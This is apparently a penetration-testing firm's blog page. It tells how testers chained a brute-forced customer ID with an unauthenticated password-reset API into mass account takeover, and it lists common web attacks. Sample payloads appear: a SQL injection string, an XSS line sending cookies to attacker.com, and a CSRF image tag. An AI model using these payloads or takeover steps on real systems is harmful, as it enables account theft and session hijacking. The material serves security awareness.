How Chaining Of Attack Vectors Gave Defencely an Upper Hand in Pentests!?

Howdy,

Today as part of our ongoing efforts to spread cyber security awareness, we’ve taken measures to go an extra mile & bring you rich blog posts about tales & adventures at Defencely Lab. We are going to explain & demonstrate how we chained up critical information to gain access to millions of customer accounts in order to safeguard our valued clientele pro-actively.

We are intentionally excluding the names of the target to stick to confidentiality clause which we’ve signed up. At this point, our readers should be able to have an analogy of the steps which are taken & mentioned in this post to get the complete picture of what’s happening.

CONTENTS

  1. Understanding the workflow of the Application.
  2. Technical Understanding.
  3. Chaining up and Exploiting the vulnerability on the basis of Collected information.

WORKFLOW

Our target had an Android Application as well as a Web Application giving ourselves a wide scope to start enumerating and having a general idea of how their applications were working at the back-end, we look our own research time to be spend wisely before we actually started to hit the targets.

Working of the Web Application: This web application allows anyone to Sign Up for their services hosted on a particular sub-domain say example.target.com. And once you’re signed up as a normal user with the company you can upload your details and information related to you on the account to set it up according to the services offered.

Working of the Android Application: This Android Application is of their Partners Portal. The Android Application was more interesting as this Application doesn’t allows everyone to sign up as a Partner, You need to verify yourself as a legitimate person having skills on the works they offer & submitting documents related to the work they are offering. We reverse engineered the APK file & The only thing which were similar between the Web App & the Android App was both their APIs which were connecting to the same domain but having different endpoints.

So, this was going really interesting as we do not have access to any of their test credentials for the Partner’s Android App to test their API endpoints. We were only left with the reverse engineered files & codes on the desk. Now we have a basic idea about how things were working, let us jump into the technical understanding of the application and lets understand how we escalated this from having nothing to compromising millions of their accounts registered with the company.

TECHNICAL UNDERSTANDING 

If you want to register yourself as a Partner you need to call them on a given number on the website to their 24 * 7 available customer support and can provide details they needed to verify yourself as a legitimate partner.

So, what would you have done if you were at the same scenario we were? It’s obvious. We called them up & social engineered them to make them believe that we want to sign up as a partner and provided some legit looking details which were actually dummy details created at our end. The verification process was over, everything went fine. But they informed us that they will take couple of days to provide us the credentials to partner portal. We know we have deadlines, 2-3 days was a long time and we can’t afford wasting time on just registering a account on their partner’s portal.

If you remember we already have reversed engineered the APK file. So we went that way. We started looking into the huge source codes available.

We were looking through the directory structures and found some susceptible files where we can now at least concentrate into.

Above are the files we were specifically looking into. We started reading the codes of the ISignIn.java  file. And within a couple of minutes we found something really interesting which took our attention and made everything clear about the Login mechanisms they were using and how they were Saving passwords to the databases at the back-end.

Lets look at the code and understand the mechanism.

Vulnerable Code which could allow us to take over Partner Accounts: 

@FormUrlEncoded
@POST("/ppapp/savepassword")
void getSavePassword(@Field("mobile") String str, @Field("password") String str2, @Field("confirmPassword") String str3, Callback<OTPModel> callback);

This particular function took our attention which were sending some form-collected data into the POST parameters to the endpoint /ppapp/savepassword. I was pretty sure the developers were using this function to set new passwords for the users.

But here the question arises. How we are going to exploit this vulnerability? If we look into the function, we can see the function getSavePassword takes three functions parameters in.

getSavePassword(@Field("mobile") String str, @Field("password") String str2, @Field("confirmPassword")

  1. `mobile` parameter
  2. `password` parameter
  3. `confirmPassword` parameter

We need to full fill the need of supplying three parameters to the function to make the request happen. You might have noticed they are changing the password of users putting mobile phone number as their uniquely identified kind a`key`.

The first priority here is we need to have a mobile number already registered with the company. And to full fill the need we started enumerating other files which might throw us some more details regarding users already registered.

While enumerating other files, we found another endpoint which seems to be related with the customer profile details or vice versa.

We started searching where and how this endpoint @GET("/getprofilejson") is working by looking at the source codes left with us.

We found that the endpoint @GET("/getprofilejson") is working with two HTTP GET parameters.

  1. `uri`
  2. `consumerId`

Enumerating the source codes more and more gave us the values which were fitting into these two parameters. The `uri` parameter is taking a `location` which in my case was %2Feast%2Fassam%2Fbongaigaon%2F and `consumerId` was of 6 digit integer value, so i just passed a random 6 digit integer value ‘123456’ But nothing happened.

I wrote a python script to bruteforce the `consumerId`.

The API endpoint was throwing data’s at ‘391149’ which holds a token value for ‘example_profile_id’ and meant to be supplied as HTTP POST  parameter on the endpoint @GET("/getprofilejson") as "example_profile_id=82f088332d0611e484950e2f866a9102" to get hold on the registered customer profile details.

Our goals are achieved. Now we have a registered customer’s phone number. It’s time to code a exploit and make it happen. Lets jump into the last section of exploitation.

 

EXPLOITING THE VULNERABILITY

A coded up exploit to account take over.

Response:

We finally coded a mass account take over exploit where the script grabs user’s phone number bruteforcing the `consumerId` and passing the token value retrieved from the response to get phone numbers of the users and finally the invoking the  @POST("/ppapp/savepassword") endpoint to directly changing the password.

 

That’s all we have for now. Let’s look forward to more amazement at Defencely Red Team Operations Labs next week for absolutely yet another amazing uncover story of how we’re adding value to our customerbase with insider threat program as well as routine sound-ful & an offensive Vulnerability Assessment followed by a Penetration Test for critical applications both at the staging level & production bases. Our manual security assessments methods have proved the best value. Feel free to touchbase at shritam@defencely.com, Shritam Bhowmick, Red Team Lead @Defencely for any Security Operations Related queries or say “Hi” to us at hi@defencely.com for inquiries.

We should see you again next week with another operational tale of the broad security premises where 0days are always a possibility & at proximity of a security compliance issue which always will be a sooner or later decision by the Indian E-Commerce Management & stakeholders.

Let’s act pro-actively.

Solution to Cutting Out Cost Expenditure on Information Security

It’s not at all by surprise that information security is most expensive task and is closely knit to risk managers to provide quality assured security to it’s end-product be it: web applications, thick clients or in general software. To reduce overthinking over complicated executive level decision by project managers, it’s essential in general to know how an information security program works.

How to access necessary components for Enterprise security solutions?

The first approach to solving a problem is to understand it’s question. In information security, the question for an organization is to solve security gaps by placing a security program a provide a security plan further to eliminate this rising security gap but how shall the security program look like and how it shall commence is entirely upto security managers. The necessary components are to be placed before the administration and gain an approval to commence these components in order to manage enterprise risks – which includes ‘security’.

In applications, this entire Application life-cycle management (ALM) will have a particular process and it’s components will be essentially:

  1. people
  2. process
  3. product

SDLC_1

Security management for all of them have to be taken into consideration, whether it’s to educate it’s people about security and provide required awareness about information security policies around the organization, secure processes for the organization and the secure product itself. This can be a top-down approach to provide a framework for security (security program) and then plan security in specific ways to protect business assets and it’s interests of the organization. During this entire time in the process, cost can be a factor due to the approved budget for the program and maintenance of the security program to keep solving security gaps in a way they should be.

How to solve ”cost” factor in a security program?

The security managers takes decisions related to security and hence should be able to decide the overall cost in recurring terms. But it’s not just about determining the cost – it’s also about cost cutting to9 get the project budget fixed without affecting the quality provided by the security program. First it’s necessary to access what accomplishments are to be made during the entire life-span of an application or the application that is being developed in-house and will be in production servers after it’s deployed. Some of these have to be considered while setting by layout and determine the costs:

  1. Objectives
  2. Required people
  3. Required outsourcing
  4. Required maintenance

The objectives should be very clear to the project managers in order to set the right people in-house to handle security problems and these people will be responsible to handle and mitigate risks and plan further with internal development teams. It’s also necessary to outsource tasks which needs subject matter expertise since security isn’t about just one thing. When discussing information security – for an instance there might be one than more components that are to be taken care of such as:

  1. secure coding practices in-house
  2. architectural risk analysis
  3. threat analysis
  4. security audits
  5. penetration testing

For most applications, the first three is done in-house and these includes costs too. Involvement of penetration testing comes from outsourcing after the product or software (web applications) are deployed but during SDLC a ‘secure’ mechanism has to be placed which gives birth to SSDLC (secure SDLC). Most threat analysis come after risk analysis has been done at an architectural level because managers have to decide on resource that is to be allocated to each of these components. To cut costs, it’s required that skilled-labor are employed to each of the steps in security framework rather than trying to randomly handle security which most often fails and which isn’t cost effective at-all. Threat analysis will involve:

  • threat modeling
  • threat treatment
  • threat management

Thereat management people and it’s resources will also be responsible for the later results which are out during penetration tests and in-case expected outputs are not acquired, a team of expertise should be able to look at the functional dependency and improve their formal test cases which are two:

  1. positive testing (functional testing)
  2. negative testing (exceptional testing)

Functional testing means what web applications are supposed to do i.e. input v/s output and negative testing means how the applications handle exception or are there any ways in which exceptions occur, and could these lead to business risks? Most of the negative test cases are something which needs focus since they are the elements to which later penetration testing proves unit security testing wasn’t effective and that can be something which might be of concern. Why? because at later stages costs comes to an exponentially to manages security risks and accordingly rearrange and re-implement to make a correction and make the product work without it’s security being affected (and also since organizations have to maintain compliance).

These pointers are small things where the cost cutting can be most accurate because if a pin-point analysis is done how such extra costs can be reduced in security programs, so that at later stages all of it contributes to an overall security budget of the organization. Sometimes it’s also the reason why organization now outsource finance to managed bug bounties. To deliberately handle security the right way, it’s also necessary to keep quality while in the SDLC period, since after the product is released – it might be out of hand and a little too late for managers to manage security.

How does Defencely solve your problems?

Defencely provides a 360 security solution to organizational security problems whether the products are in SDLC or it has been already deployed. If applications are in SDLC phases, it’s more beneficial to cost-cut your resources and get dedicated security expertise to help you realize and reduce risks before any commitments or deployments to your applications – it’s like winning the war before it starts. This could also be beneficial to compliance that the organization has chosen and the required reports it needs to prove their applications are secure for it’s customers and end-users.

The solutions provided is overall and hence it’s extremely helpful to know if certain application passed improvement to maintain a continual security check . This can be in terms of application security assessments, penetration tests, and simulated security testing where a red team accesses your applications in offensive ways to determine measure of security and give your organization the overall security posture. Let’s get you started with the right security program for your platform, contact us to get to help you solve your enterprise security problems.

About the Author

Shritam Bhowmick is an application penetration tester professionally equipped with traditional as well as professional application penetration test experience adding value to Defencely Inc. Red Team and currently holds Technical Expertise at application threat reporting and coordination for Defencely Inc.’s global clients. At his belt of accomplishments, he has experience in identifying critical application vulnerabilities and add value to Defencely Inc. with his research work. The R&D sector towards application security is growing green at Defencely and is taken care by him air max sale. Professionally, he have had experiences with several other companies working on critical application security vulnerability assessments and penetration test security engagements, leading the Red Team and also holds experience training curious students at his leisure time. He also does independent application security consultancy.

Out of professional expertise at Application Security, Shritam Bhowmick utilizes his knowledge for constructive Red Teaming Penetration Testing Engagements for Indian Top Notch Clients and has a proven record for his excellence in the field of IT Security. A Google search with his name would suffice the eye. Shritam Bhowmick has been delivering numerous research papers which are mostly application security centric and loves to go beyond in the details. This approach has taken him into innovating stuff rather than re-inventing the wheel for others to harness old security concepts. In his spare time, which is barely a little; he blogs, brain-storms on web security concepts and prefers to stay away from the normal living. Apart from his professional living, he finds bliss in reading books, playing chess, philanthropy, and basket-ball for the sweat. He wildly loves watching horror movies for the thrill and exploring new places for seeking new people alike.

Facebook Shares Its Thanks to Defencely

123

Helping companies like Facebook maintain a healthy user experience is always a top priority for us here at Defencely.

Recently, our security professionals identified a set of malicious vulnerabilities that could have made the world’s largest social community vulnerable to hack attempts.

For our assistance, Facebook was kind enough to acknowledge us on their White Hats 2013 Acknowledgements webpage (see image).

It’s always nice to gain a little street cred in the world of web security.

This is not only a great achievement for us, but it’s also an indicator of a constantly evolving state of security in the cyber world.

If your business – no matter how big or small – is looking for the same type of web protection connect with a Defencely security expert today.

[maxbutton id=”1″]

10 Most Popular Ways Hackers Hack Your Website

Ways Hackers Hack Your Site

 

Pop quiz: what does Microsoft, Twitter, Facebook, NBC, ZenDesk, and Drupal all have in common?

They’ve all been recently hacked.

Yes, hacking is a growing threat for every business both large and small.

Whether it’s stealing private data, taking control of your computer, or shutting down your website, hackers can seriously impact any business, at any time. Defencely have been running analysis since it’s existence on different possible attack vectors and hence has been proven with a record for web application security in India and is currently going global. There are specifics onto which Defencely had been working it’s way onto making a name on the CIO portfolio for it’s immense success with Information Technology Security as a service provider. To an amazement, Defencely has not only stood up to it’s client in the past, but now it has been providing ground-breaking research for all of it’s client with special deliverables given services from Defencely has been opted. But there is a side, which Defencely has chosen to opt for the betterment of the web world, and it’s WHITE HATE ETHICAL HACKING which makes it’s way through corporate business world and provides in-depth security services for an overall web security protection to it’s valued clients. Apart from each of the services provided by Defencely, it has maintained a wise standard onto Bug Hunting and hence a proven excellence for it’s quality deliverables which the Red Team Security Experts. The red team has taken it’s responsibility to represent Defencely in various gratitudes, whether it is on spreading information security concerns, attending information security conferences to providing free of cost industrial hands on penetration test for an initial approach and this alone had resulted in a wise deduction of how security could just be an illusion to the corporate world and how businesses could be ruined over-night.

Hackers can attack in so many ways, but here’s the ten most popular ways they can threaten the security of your site, and your business:

10.  Injection Attacks

Injection Attacking occurs when there are flaws in your SQL Database, SQL libraries, or even the operating system itself. Employees open seemingly credible files with hidden commands, or “injections”, unknowingly.

In doing so, they’ve allowed hackers to gain unauthorized access to private data such as social security numbers, credit card number or other financial data.

Technical Injection Attack Example:

An Injection Attack could have this command line:

String query = “SELECT * FROM accounts WHERE custID='” + request.getParameter(“id”) +”‘”;

The hacker modifies the ‘id’ parameter in their browser to send: ‘ or ‘1’=’1. This changes the meaning of the query to return all the records from the accounts database to the hacker, instead of only the intended customers.

9.  Cross Site Scripting Attacks

Cross Site Scripting, also known as an XSS attack, occurs when an application, url “get request”, or file packet is sent to the web browser window and bypassing the validation process. Once an XSS script is triggered, it’s deceptive property makes users believe that the compromised page of a specific website is legitimate.

For example, if www.example.com/abcd.html has XSS script in it, the user might see a popup window asking for their credit card info and other sensitive info.

Technical Cross Site Scripting Example:

A more technical example:

(String) page += “<input name=’creditcard’ type=’TEXT’ value='” + request.getParameter(“CC”) + “‘>”;

The attacker modifies the ‘CC’ parameter in their browser to:

‘><script>document.location=’http://www.attacker.com/cgi-bin/cookie.cgi?foo=’+document.cookie</script>’

This causes the user’s session ID to be sent to the attacker’s website, allowing the hacker to hijack the user’s current session.  That means the hacker has access to the website admin credentials and can take complete control over it.  In other words, hack it.

8. Broken Authentication and Session Management Attacks

If the user authentication system of your website is weak, hackers can take full advantage.

Authentication systems involve passwords, key management, session IDs, and cookies that can allow a hacker to access your account from any computer (as long as they are valid).

If a hacker exploits the authentication and session management system, they can assume the user’s identity.

Scary indeed.

Ask yourself these questions to find out if your website is vulnerable to a broken authentication and session management attack:

  • Are user credentials weak (e.g. stored using hashing or encryption)?
  • Can credentials be guessed or overwritten through weak account management functions (e.g. account creation, change password, recover password, weak session IDs)?
  • Are session IDs exposed in the URL (e.g. URL rewriting)?
  • Are session IDs vulnerable to session fixation attacks?
  • Do session IDs timeout and can users log out?

If you answered “yes” to any of these questions, your site could be vulnerable to a hacker.

7. Clickjacking Attacks

Clickjacking, also called a UI Redress Attack, is when a hacker uses multiple opaque layers to trick a user into clicking the top layer without them knowing.

Thus the attacker is “hijacking” clicks that are not meant for the actual page, but for a page where the attacker wants you to be.

For example, using a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password for their bank account, but are actually typing into an invisible frame controlled by the attacker.

Clickjacking example:

Here’s a live, but safe example of how clickjacking works:

http://attacker.kotowicz.net/alphabet-hero/game.html

And here’s a video that shows how we helped Twitter defend against a Clickjacking attack:

6. DNS Cache Poisoning

DNS Cache Poisoning involves old cache data that you might think you no longer have on your computer, but is actually “toxic”.

Also known as DNS Spoofing, hackers can identify vulnerabilities in a domain name system, which allows them to divert traffic from legit servers to a fake website and/or server.

This form of attack can spread and replicate itself from one DNS server to another DNS, “poisoning” everything in it’s path.

In fact, in 2010, a DNS poisoning attack completely compromised the Great Firewall of China (GFC) temporarily and censored certain content in the United States until the problem was fixed.

5. Social Engineering Attacks

A social engineering attack is not technically a “hack”.

It happens when you divulge private information in good faith, such as a credit card number, through common online interactions such as email, chat, social media sites, or virtually any website.

The problem, of course, is that you’re not getting into what you think you’re getting into.

A classic example of a social engineering attack is the “Microsoft tech support” scam.

This is when someone from a call center pretends to be a MS tech support member who says that your computer is slow and/or infected, and can be easily fixed – at a cost, of course.

Here’s an article from Wired.com on how a security expert played along with so-called Microsoft tech support person.

4. Symlinking – An Insider Attack

A symlink is basically a special file that “points to” a hard link on a mounted file system.  A symlinking attack occurs when a hacker positions the symlink in such a way that the user or application that access the endpoint thinks they’re accessing the right file when they’re really not.

If the endpoint file is an output, the consequence of the symlink attack is that it could be modified instead of the file at the intended location. Modifications to the endpoint file could include appending, overwriting, corrupting, or even changing permissions.

In different variations of a symlinking attack a hacker may be able to control the changes to a file, grant themselves advanced access, insert false information, expose sensitive information or corrupt or destroy vital system or application files.

3. Cross Site Request Forgery Attacks

A Cross Site Request Forgery Attack happens when a user is logged into a session (or account) and a hacker uses this opportunity to send them a forged HTTP request to collect their cookie information.

In most cases, the cookie remains valid as long as the user or the attacker stays logged into the account.  This is why websites ask you to log out of your account when you’re finished – it will expire the session immediately.

In other cases, once the user’s browser session is compromised, the hacker can generate requests to the application that will not be able to differentiate between a valid user and a hacker.

A Cross Site Attack Examples

Here’s an example:

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

<img src=”<span style=”color: red;”>http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#</span>” width=”0″ height=”0″ />

In this case the hacker creates a request that will transfer money from a user’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.

2. Remote Code Execution Attacks

A Remote Code Execution attack is a result of either server side or client side security weaknesses.

Vulnerable components may include libraries, remote directories on a server that haven’t been monitored, frameworks, and other software modules that run on the basis of authenticated user access. Applications that use these components are always under attack through things like scripts, malware, and small command lines that extract information.

The following vulnerable components were downloaded 22 million times in 2011:

Apache CXF Authentication Bypass (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3451)

By failing to provide an identity token, attackers could invoke any web service with full permission.

1. DDoS Attack – Distributed Denial Of Service Attack

DDoS, or Distributed Denial of Services, is where a server or a machine’s services are made unavailable to its users.

And when the system is offline, the hacker proceeds to either compromise the entire website or a specific function of a website to their own advantage.

It’s kind of like having your car stolen when you really need to get somewhere fast.

The usual agenda of a DDoS campaign is to temporarily interrupt or completely take down a successfully running system.

The most common example of a DDoS attack could be sending tons of URL requests to a website or a webpage in a very small amount of time.  This causes bottlenecking at the server side because the CPU just ran out of resources.

Denial-of-service attacks are considered violations of the Internet Architecture Board’s Internet proper use policy, and also violate the acceptable use policies of virtually all Internet service providers.

[maxbutton id=”1″]